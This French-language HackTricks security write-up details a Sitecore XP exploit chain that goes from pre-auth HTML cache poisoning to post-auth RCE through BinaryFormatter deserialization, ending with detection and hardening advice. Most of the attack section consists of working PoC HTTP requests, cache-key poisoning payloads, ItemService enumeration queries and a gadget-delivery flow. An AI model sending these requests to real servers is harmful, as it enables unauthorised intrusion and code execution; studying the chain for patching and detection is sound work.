Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
Reading time: 8 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Cette page résume une chaîne d'attaque pratique contre Sitecore XP 10.4.1 qui pivote d'un pre‑auth XAML handler vers HTML cache poisoning et, via un flux UI authentifié, aboutit à une RCE via BinaryFormatter deserialization. Les techniques se généralisent à des versions/composants similaires de Sitecore et fournissent des primitives concrètes pour tester, détecter et durcir.
- Produit affecté testé : Sitecore XP 10.4.1 rev. 011628
- Corrigé dans : KB1003667, KB1003734 (June/July 2025)
Voir aussi :
Cache Poisoning and Cache Deception
Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
Le point d'entrée est le pre‑auth XAML handler enregistré dans web.config :
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
Accessible via :
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
L'arborescence des contrôles inclut AjaxScriptManager qui, lors des requêtes d'événements, lit des champs contrôlés par l'attaquant et invoque par réflexion des méthodes sur les contrôles ciblés :
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
Observation clé : la page XAML inclut une instance de XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl dérive de Sitecore.Web.UI.WebControl (une classe Sitecore), qui passe la allow‑list ReflectionUtil.Filter (Sitecore.*), déverrouillant des méthodes sur Sitecore WebControl.
Méthode magique pour poisoning:
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
Parce que nous pouvons cibler xmlcontrol:GlobalHeader et appeler des méthodes de Sitecore.Web.UI.WebControl par leur nom, nous obtenons un primitif d'écriture arbitraire de HtmlCache pre-auth.
Requête PoC (CVE-2025-53693)
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Remarques :
- __SOURCE est le clientID de xmlcontrol:GlobalHeader au sein de Sitecore.Shell.Xaml.WebControl (généralement stable comme ctl00_ctl00_ctl05_ctl03 car il est dérivé d'un XAML statique).
- __PARAMETERS le format est Method("arg1","arg2").
Quoi empoisonner : construction de la clé de cache
Construction typique de la clé HtmlCache utilisée par les contrôles Sitecore :
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
Exemple de targeted poisoning pour un sublayout connu :
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Énumération des éléments cacheables et “vary by” dimensions
Si ItemService est (mal)exposé anonymement, vous pouvez énumérer les composants cacheables pour dériver des clés exactes.
Test rapide:
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
Lister les éléments cacheables et les flags :
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
Recherchez des champs tels que Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Les noms d'appareils peuvent être énumérés via :
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
Side‑channel enumeration sous des identités restreintes (CVE-2025-53694)
Même lorsque ItemService se fait passer pour un compte limité (par ex., ServicesAPI) et renvoie un tableau Results vide, TotalCount peut encore refléter des pre‑ACL Solr hits. Vous pouvez brute‑force item groups/ids avec des wildcards et observer TotalCount converger pour cartographier le contenu interne et les devices:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
Sink:
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
Accessible via l'étape de pipeline convertToRuntimeHtml ConvertWebControls, qui recherche un élément ayant pour id {iframeId}_inner, décode son contenu en base64 et le désérialise, puis injecte la chaîne résultante dans le HTML :
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
Déclencheur (authentifié, droits Content Editor). La boîte de dialogue FixHtml appelle convertToRuntimeHtml. De bout en bout sans clics dans l'UI :
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Chaîne complète
- Un attaquant pré‑auth empoisonne HtmlCache avec du HTML arbitraire en invoquant reflectively WebControl.AddToCache via XAML AjaxScriptManager.
- Le HTML empoisonné sert du JavaScript qui incite un utilisateur authentifié Content Editor à travers le flux FixHtml.
- La page FixHtml déclenche convertToRuntimeHtml → ConvertWebControls, which deserializes attacker‑controlled base64 via BinaryFormatter → RCE sous l'identité du pool d'applications Sitecore.
Détection
- XAML pré‑auth : requêtes vers
/-/xaml/Sitecore.Shell.Xaml.WebControl
avec__ISEVENT=1
,__SOURCE
suspect et__PARAMETERS=AddToCache(...)
. - ItemService probing : pics de requêtes wildcard vers
/sitecore/api/ssc
, grandTotalCount
avecResults
vides. - Deserialization attempts :
EditHtml.aspx
suivi deFixHtml.aspx?hdl=...
et base64 anormalement volumineux dans les champs HTML.
Durcissement
- Appliquer les patches Sitecore KB1003667 et KB1003734 ; gate/disable les handlers XAML pré‑auth ou ajouter une validation stricte ; surveiller et rate‑limiter
/-/xaml/
. - Supprimer/remplacer BinaryFormatter ; restreindre l'accès à convertToRuntimeHtml ou imposer une validation serveur forte des flux d'édition HTML.
- Verrouiller
/sitecore/api/ssc
sur loopback ou des rôles authentifiés ; éviter les impersonation patterns qui leak des canaux secondaires basés surTotalCount
. - Imposer MFA/least privilege pour les utilisateurs Content Editor ; revoir la CSP pour réduire l'impact du JS steering issu du cache poisoning.
Références
- watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE
- Sitecore KB1003667 – Security patch
- Sitecore KB1003734 – Security patch
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.